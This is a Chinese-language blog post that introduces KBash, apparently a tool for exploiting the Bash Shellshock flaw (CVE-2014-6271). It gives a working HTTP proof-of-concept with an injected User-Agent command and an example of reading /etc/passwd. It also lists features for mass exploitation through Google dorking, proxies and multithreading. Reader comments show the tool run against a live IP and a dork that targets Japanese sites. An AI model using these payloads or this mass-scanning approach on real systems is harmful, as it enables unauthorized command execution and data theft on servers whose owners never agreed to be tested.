KBash – GNU Bash环境变量命令执行 Shellshock检测工具 CVE-2014-6271

GNU Bash 环境变量远程命令执行漏洞

CVE-2014-6271

影响:

         GNU Bash <= 4.3


POC:

GET /cgi-bin/test.sh HTTP/1.1
User-Agent: () { :; }; cp ./test.sh ../3333.txt | chmod 777 ../3333.txt

GNU Bash 4.3及之前版本对环境变量的处理过程中存在漏洞,环境变量值中可加入攻击字符,以执行shell命令。某些存在漏洞的服务可直接导致远程命令执行。
看这个漏洞闹得这么沸沸扬扬,于是应景写了一个利用工具。支持谷歌批量,支持命令回显。大牛们有啥好玩的利用方法,欢迎交流共享。


Tips:
需要安装python的requests类库。代理功能需要sockipy类库,将socks.py复制到工具目录下即可。
针对HTTPS的URL进行利用时,由于设置为忽略证书校验,会打印一个WARNING,可无视之。
执行自定义命令时,需要指明绝对路径。如:/bin/cat /etc/passwd

最新源码,请移步Github <https://github.com/kxcode/kbash>

测试地址:http://23.239.208.105/cgi-bin/poc.cgi

Features

  1. 可针对指定目标进行利用,或者使用谷歌搜索目标。
  2. 支持代理。
  3. 多线程。
  4. 精确扫描。
  5. 自定义命令。
  6. 支持命令结果回显。
  7. 自定义谷歌关键字。
  8. 一定程度上防谷歌屏蔽。

截图


Join the Conversation

11 Comments

  1. win下运行以上kbash.Py脚本出错如下:
    C:\>kbash.py
    Traceback (most recent call last):
    File “C:\kbash.py”, line 1, in
    import urllib2, requests, socket, urlparse
    ImportError: No module named requests
    谢谢告知

  2. 求教大神,win下运行以上kbash.Py脚本出错如下,该如何处理呢,有空的话请回复一下,感激不尽!
    C:\kbash-master>kbash.py -d “filetype:cgi inurl:cgi-bin site:jp” -c 50 -t 10
    [ THREAD ] 10
    [ PAGE ] 50
    Traceback (most recent call last):
    File “C:\kbash-master\kbash.py”, line 147, in
    print “[ ATTACK ] ” + args.url
    TypeError: cannot concatenate ‘str’ and ‘NoneType’ objects

      1. 谢谢 没回显的吗.

        C:\>cd kbash

        C:\kbash>kbash.py -u http://23.239.208.105/cgi-bin/poc.cgi -e “/bin/ls”
        [ THREAD ] 4
        [ PAGE ] 1
        [ ATTACK ] http://23.239.208.105/cgi-bin/poc.cgi
        [ Tips ] you should specific the absolute path for the command to execute
        [ Reponse Code ] 200
        [ Response Header ]
        {‘date’: ‘Fri, 10 Oct 2014 10:08:05 GMT’, ‘transfer-encoding’: ‘chunked’, ‘conne
        ction’: ‘close’, ‘content-type’: ‘text/plain; charset=UTF-8’, ‘server’: ‘Apache/
        2.2.3 (CentOS)’}

        done

        C:\kbash>

Leave a comment

Your email address will not be published. Required fields are marked *